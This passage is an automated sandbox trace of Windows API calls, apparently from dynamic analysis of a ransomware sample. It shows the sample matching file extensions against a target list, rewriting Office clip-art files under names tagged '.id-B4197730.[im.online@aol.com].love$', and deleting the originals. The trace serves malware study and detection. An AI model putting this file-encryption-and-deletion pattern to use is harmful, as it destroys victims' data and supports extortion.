returned 1 [0269.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.807] lstrlenW (lpString=".doc") returned 4 [0269.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.807] lstrlenW (lpString=".docx") returned 5 [0269.807] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0269.807] lstrlenW (lpString=".pdf") returned 4 [0269.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.807] lstrlenW (lpString=".xls") returned 4 [0269.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.807] lstrlenW (lpString=".xlsx") returned 5 [0269.807] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0269.807] lstrlenW (lpString=".ppt") returned 4 [0269.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.807] lstrlenW (lpString=".zip") returned 4 [0269.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.808] lstrlenW (lpString=".rar") returned 4 [0269.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.808] lstrlenW (lpString=".bz2") returned 4 [0269.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.808] lstrlenW (lpString=".7z") returned 3 [0269.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.808] lstrlenW (lpString=".dbf") returned 4 [0269.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.809] lstrlenW (lpString=".1cd") returned 4 [0269.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.809] lstrlenW (lpString=".jpg") returned 4 [0269.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.809] lstrlenW (lpString=".doc") returned 4 [0269.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.809] lstrlenW (lpString=".docx") returned 5 [0269.809] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0269.809] lstrlenW (lpString=".pdf") returned 4 [0269.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.809] lstrlenW (lpString=".xls") returned 4 [0269.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.810] lstrlenW (lpString=".xlsx") returned 5 [0269.810] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0269.810] lstrlenW (lpString=".ppt") returned 4 [0269.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.810] lstrlenW (lpString=".zip") returned 4 [0269.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.810] lstrlenW (lpString=".rar") returned 4 [0269.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.810] lstrlenW (lpString=".bz2") returned 4 [0269.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.810] lstrlenW (lpString=".7z") returned 3 [0269.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.810] lstrlenW (lpString=".dbf") returned 4 [0269.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.811] lstrlenW (lpString=".1cd") returned 4 [0269.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0269.811] lstrlenW (lpString=".jpg") returned 4 [0269.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.811] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0269.811] lstrlenW (lpString="J0099185.JPG") returned 12 [0269.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0269.816] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3282) returned 1 [0269.816] CloseHandle (hObject=0x550) returned 1 [0269.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0269.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0269.817] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.817] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0269.820] GetLastError () returned 0x0 [0269.820] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0269.822] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xce0, lpOverlapped=0x0) returned 1 [0269.825] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.825] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.826] SetEndOfFile (hFile=0x57c) returned 1 [0269.826] CloseHandle (hObject=0x57c) returned 1 [0269.826] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.826] SetEndOfFile (hFile=0x550) returned 1 [0269.831] CloseHandle (hObject=0x550) returned 1 [0269.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0269.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.835] lstrlenW (lpString=".doc") returned 4 [0269.835] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0269.835] lstrlenW (lpString=".docx") returned 5 [0269.835] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0269.835] lstrlenW (lpString=".pdf") returned 4 [0269.835] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0269.835] lstrlenW (lpString=".xls") returned 4 [0269.835] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0269.835] lstrlenW (lpString=".xlsx") returned 5 [0269.835] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0269.835] lstrlenW (lpString=".ppt") returned 4 [0269.835] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0269.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.836] lstrlenW (lpString=".zip") returned 4 [0269.836] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0269.836] lstrlenW (lpString=".rar") returned 4 [0269.836] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0269.836] lstrlenW (lpString=".bz2") returned 4 [0269.836] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0269.836] lstrlenW (lpString=".7z") returned 3 [0269.836] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0269.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.836] lstrlenW (lpString=".dbf") returned 4 [0269.836] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0269.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.836] lstrlenW (lpString=".1cd") returned 4 [0269.836] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0269.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.836] lstrlenW (lpString=".jpg") returned 4 [0269.836] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0269.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.836] lstrlenW (lpString=".doc") returned 4 [0269.837] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0269.837] lstrlenW (lpString=".docx") returned 5 [0269.837] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0269.837] lstrlenW (lpString=".pdf") returned 4 [0269.837] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0269.837] lstrlenW (lpString=".xls") returned 4 [0269.837] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0269.837] lstrlenW (lpString=".xlsx") returned 5 [0269.837] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0269.837] lstrlenW (lpString=".ppt") returned 4 [0269.837] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0269.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.837] lstrlenW (lpString=".zip") returned 4 [0269.837] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0269.837] lstrlenW (lpString=".rar") returned 4 [0269.837] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0269.837] lstrlenW (lpString=".bz2") returned 4 [0269.837] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0269.837] lstrlenW (lpString=".7z") returned 3 [0269.837] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0269.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.837] lstrlenW (lpString=".dbf") returned 4 [0269.837] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0269.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.837] lstrlenW (lpString=".1cd") returned 4 [0269.837] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0269.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0269.838] lstrlenW (lpString=".jpg") returned 4 [0269.838] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0269.838] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0269.838] lstrlenW (lpString="J0099186.JPG") returned 12 [0269.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0270.382] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=16738) returned 1 [0270.382] CloseHandle (hObject=0x550) returned 1 [0270.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0270.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0271.382] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.382] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0271.423] GetLastError () returned 0x0 [0271.423] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x4162, lpOverlapped=0x0) returned 1 [0271.426] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4170, lpOverlapped=0x0) returned 1 [0271.428] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.428] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.429] SetEndOfFile (hFile=0x57c) returned 1 [0271.429] CloseHandle (hObject=0x57c) returned 1 [0271.429] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.429] SetEndOfFile (hFile=0x4c8) returned 1 [0271.433] CloseHandle (hObject=0x4c8) returned 1 [0271.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0271.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.436] lstrlenW (lpString=".doc") returned 4 [0271.437] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0271.437] lstrlenW (lpString=".docx") returned 5 [0271.437] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0271.437] lstrlenW (lpString=".pdf") returned 4 [0271.437] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0271.437] lstrlenW (lpString=".xls") returned 4 [0271.437] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0271.437] lstrlenW (lpString=".xlsx") returned 5 [0271.437] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0271.437] lstrlenW (lpString=".ppt") returned 4 [0271.437] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0271.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.437] lstrlenW (lpString=".zip") returned 4 [0271.437] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0271.437] lstrlenW (lpString=".rar") returned 4 [0271.437] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0271.437] lstrlenW (lpString=".bz2") returned 4 [0271.437] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0271.437] lstrlenW (lpString=".7z") returned 3 [0271.437] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0271.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.438] lstrlenW (lpString=".dbf") returned 4 [0271.438] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0271.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.438] lstrlenW (lpString=".1cd") returned 4 [0271.438] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0271.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.438] lstrlenW (lpString=".jpg") returned 4 [0271.438] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0271.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.438] lstrlenW (lpString=".doc") returned 4 [0271.438] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0271.439] lstrlenW (lpString=".docx") returned 5 [0271.439] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0271.439] lstrlenW (lpString=".pdf") returned 4 [0271.439] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0271.439] lstrlenW (lpString=".xls") returned 4 [0271.439] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0271.439] lstrlenW (lpString=".xlsx") returned 5 [0271.439] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0271.439] lstrlenW (lpString=".ppt") returned 4 [0271.439] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0271.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.439] lstrlenW (lpString=".zip") returned 4 [0271.439] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0271.439] lstrlenW (lpString=".rar") returned 4 [0271.439] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0271.439] lstrlenW (lpString=".bz2") returned 4 [0271.439] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0271.439] lstrlenW (lpString=".7z") returned 3 [0271.439] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0271.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.439] lstrlenW (lpString=".dbf") returned 4 [0271.440] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0271.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.440] lstrlenW (lpString=".1cd") returned 4 [0271.440] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0271.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0271.440] lstrlenW (lpString=".jpg") returned 4 [0271.440] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0271.440] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0271.440] lstrlenW (lpString="J0099199.GIF") returned 12 [0271.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0271.443] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=33975) returned 1 [0271.443] CloseHandle (hObject=0x4c8) returned 1 [0271.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0271.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0271.444] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.444] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0271.447] GetLastError () returned 0x0 [0271.447] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x84b7, lpOverlapped=0x0) returned 1 [0271.485] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x84c0, lpOverlapped=0x0) returned 1 [0271.488] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.488] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.488] SetEndOfFile (hFile=0x57c) returned 1 [0271.488] CloseHandle (hObject=0x57c) returned 1 [0271.488] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.489] SetEndOfFile (hFile=0x4c8) returned 1 [0271.787] CloseHandle (hObject=0x4c8) returned 1 [0271.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0271.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.790] lstrlenW (lpString=".doc") returned 4 [0271.790] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.790] lstrlenW (lpString=".docx") returned 5 [0271.790] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0271.790] lstrlenW (lpString=".pdf") returned 4 [0271.790] 